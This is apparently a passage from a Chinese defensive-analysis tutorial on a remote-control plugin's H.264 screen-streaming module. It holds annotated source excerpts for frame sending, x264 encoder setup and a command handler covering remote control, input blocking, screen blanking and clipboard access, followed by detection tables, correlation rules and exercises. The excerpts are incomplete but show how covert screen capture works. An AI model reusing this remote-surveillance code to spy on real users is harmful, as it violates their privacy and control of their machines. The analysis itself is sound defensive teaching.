lpBuffer[0] = TOKEN_H264SCREEN;
memcpy(lpBuffer + 1, h264_frame->frame_buffer, h264_frame->payload_size);
// Send 失败会停止整条视频流。
if (!work->Send(lpBuffer, UINT(h264_frame->payload_size + 1)))
{
delete[] lpBuffer;
work->run_mark = false;
break;
}
delete[] lpBuffer;
// 释放编码后的 H.264 帧内存。
free(h264_frame->free_buffer);
delete h264_frame;
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
视频流量通常具有持续、压缩、高熵、大小随画面变化而波动的特征。合法视频会议、录屏软件、远程协助软件也可能有类似特征,因此企业规则要结合进程身份、用户授权、窗口提示和来源签名。
# 14. x264 编码器初始化
编码器初始化设置分辨率、帧率、码率和颜色空间。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:621-653
// 防御分析注释:
// 1. 这里配置 H.264 编码参数,是判断“为什么使用 H.264”的关键源码。
// 2. preset/tune、宽高、I420、FPS、码率共同定义了一条实时视频流。
// 3. 本课不讨论如何优化编码参数,只说明它们在防御侧的证据价值。
bool CH264ScreenManager::InitH264Encoder()
{
// 初始化 x264 默认参数。此处会建立基础编码配置。
m_x264_param_default(¶m);
// x264_preset 来自 ResetScreen() 中的 "ultrafast"。
// 含义是优先编码速度,适合实时屏幕流,但压缩率不一定最优。
//
// x264_tune 来自 ResetScreen() 中的 "zerolatency"。
// 含义是降低编码延迟,减少排队等待,更符合远程查看的交互需求。
m_x264_param_default_preset(¶m, x264_preset.c_str(), x264_tune.c_str());
// high profile 说明它使用标准 H.264 编码配置。
m_x264_param_apply_profile(¶m, "high");
// 宽高直接来自采集显示器。
// 如果编码分辨率和显示器分辨率高度一致,要和 BitBlt/GetDIBits 关联分析。
param.i_width = monitor.capture_w;
param.i_height = monitor.capture_h;
// CaptureWork 已经用 libyuv::ARGBToI420 转成 I420。
// 所以这里声明 x264 输入颜色空间为 X264_CSP_I420。
param.i_csp = X264_CSP_I420;
// 码率参数控制网络输出规模。
// 合法视频软件也会设置码率,因此不能单独作为恶意结论。
param.rc.i_vbv_max_bitrate = bitrate;
param.rc.i_vbv_buffer_size = bitrate;
param.rc.i_bitrate = bitrate;
// 帧率参数。默认 fps=30,更接近连续视频,而不是偶发截图。
param.i_fps_num = fps;
param.i_fps_den = 1;
// ABR 表示平均码率控制,适合持续流式发送。
param.rc.i_rc_method = X264_RC_ABR;
// 创建编码器实例。之后 EncoderWork 会反复调用 x264_encoder_encode。
this->x264 = m_x264_encoder_open(¶m);
if (this->x264 == NULL)
return false;
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
检测侧可以关注:
| 特征 | 说明 |
|---|---|
x264_param_default_preset | x264 编码器初始化 |
X264_CSP_I420 | 视频编码常见颜色空间 |
i_width、i_height | 与显示器尺寸对应 |
i_fps_num | 帧率配置 |
i_bitrate | 码率配置 |
x264_encoder_open | 编码器会话创建 |
# 15. 命令面和控制风险
娱乐屏幕模块仍然包含远程控制、黑屏、屏蔽输入、剪贴板和显示器切换。
// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:185-230
// 防御分析注释:H.264 视频流之外,这里还包含远程控制和剪贴板能力。
// 本课只归类风险,不提供触发方式。
void CH264ScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case COMMAND_NEXT_H264CScreenSpyDlg:
NotifyDialogIsOpen();
break;
case COMMAND_h264_SHOW_Cursor:
case COMMAND_h264_HIDE_Cursor:
// 控制视频流中是否包含光标。
break;
case COMMAND_h264_SCREEN_CONTROL:
// 高风险:远程控制事件。
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_h264_SCREEN_BLOCK_INPUT:
// 高风险:屏蔽本地输入。
break;
case COMMAND_h264_SCREEN_BLANK:
// 高风险:黑屏控制。
break;
case COMMAND_h264_SCREEN_GET_CLIPBOARD:
case COMMAND_h264_SCREEN_SET_CLIPBOARD:
// 高风险:剪贴板读取和写入。
break;
case COMMAND_h264_SCREEN_CHANGE_MONITORS:
// 切换采集显示器。
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
一个重要结论:娱乐屏幕不是单纯视频编码模块,它仍然和远程控制、输入屏蔽、黑屏、剪贴板结合在一起。企业规则要看完整会话,不要只把它当视频库使用。
# 16. 三种当前桌面屏幕模式横向比较

| 模块 | 采集源 | 编码/压缩 | 主要检测点 |
|---|---|---|---|
| 高速屏幕 | 当前桌面 DC | JPEG + zlib | 高频 BitBlt、JPEG、持续上行 |
| 差异屏幕 | 当前桌面 DC | 差异块 + zlib | 首帧较大、后续小包、周期采集 |
| 娱乐屏幕 | 显示器 DC | libyuv + H.264 | x264、ARGBToI420、三线程队列、视频上行 |
这个对照表可以帮助新手建立统一模型:
采集源 -> 像素缓冲 -> 编码压缩 -> 网络发送 -> 控制命令 -> 企业检测
# 17. 企业检测点

| 层面 | 检测点 | 说明 |
|---|---|---|
| 内存模块 | MemoryLoadLibrary、内嵌 x264 数据 | 依赖库来源不透明 |
| 图形采集 | CreateDCA、CreateCompatibleDC、BitBlt、GetDIBits | 屏幕像素来源 |
| 多显示器 | EnumDisplayMonitors、GetMonitorInfoA | 采集区域准备 |
| 像素转换 | libyuv::ARGBToI420 | 视频编码前转换 |
| H.264 编码 | x264_param_default_preset、x264_encoder_open、x264_encoder_encode | 实时视频流形成 |
| 队列线程 | 采集、编码、发送三线程 | 持续视频管线 |
| 网络行为 | TOKEN_H264SCREEN、持续高熵上行 | 视频帧发送 |
| 控制面 | 黑屏、屏蔽输入、剪贴板、显示器切换 | 高风险远程控制能力 |
| 合规侧 | 用户提示、授权记录、退出机制 | 合法远程协助必要条件 |
高价值关联逻辑:
- 进程内存加载或解析 x264 相关函数。
- 同进程持续调用
BitBlt和GetDIBits。 - 同进程调用
ARGBToI420或 x264 编码函数。 - 同进程维持长连接并持续上行 H.264 类数据。
- 同进程出现黑屏、屏蔽输入或剪贴板命令。
满足 1-4 项时应重点关注;叠加第 5 项时应提升风险等级。
误报处理要看上下文:合法视频会议、录屏、直播推流和远程协助工具也可能使用 H.264。区别在于它们通常有明确进程身份、签名、用户界面、授权提示、可见录制/共享状态和审计记录。未知插件模块同时出现内存加载 x264、屏幕采集、控制命令和持续外联时,风险显著更高。
# 18. 合法练习题
- 不运行插件,只阅读源码,画出
CaptureWork -> EncoderWork -> OutPutWork的数据流。 - 解释为什么
ARGBToI420是 H.264 屏幕流的重要检测线索。 - 比较高速屏幕和娱乐屏幕:为什么一个偏 JPEG/zlib 快速发图,一个偏 H.264 长时间视频流。
- 设计一条企业规则:同一进程出现
BitBlt、ARGBToI420、x264_encoder_encode和外联发送时触发告警。 - 站在合法远程协助产品角度,写出视频屏幕共享必须具备的用户确认、状态提示和结束机制。
# 19. 本课小结
娱乐屏幕模块本质上是一条 H.264 屏幕视频流链路:入口创建 CH264ScreenManager,管理器内存加载 x264,枚举显示器,采集线程用 BitBlt 和 GetDIBits 获取 BGRA 像素,随后用 libyuv 转成 I420,编码线程调用 x264 生成 H.264 NAL,输出线程加 TOKEN_H264SCREEN 后发送。它使用 H.264 的核心原因是原始屏幕帧太大,JPEG/zlib 难以充分利用连续帧相似性,而 H.264 更适合长时间、低延迟、可控码率的视频流。企业检测要把内存加载编码库、屏幕采集、像素转换、视频编码、队列线程和长连接关联起来。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言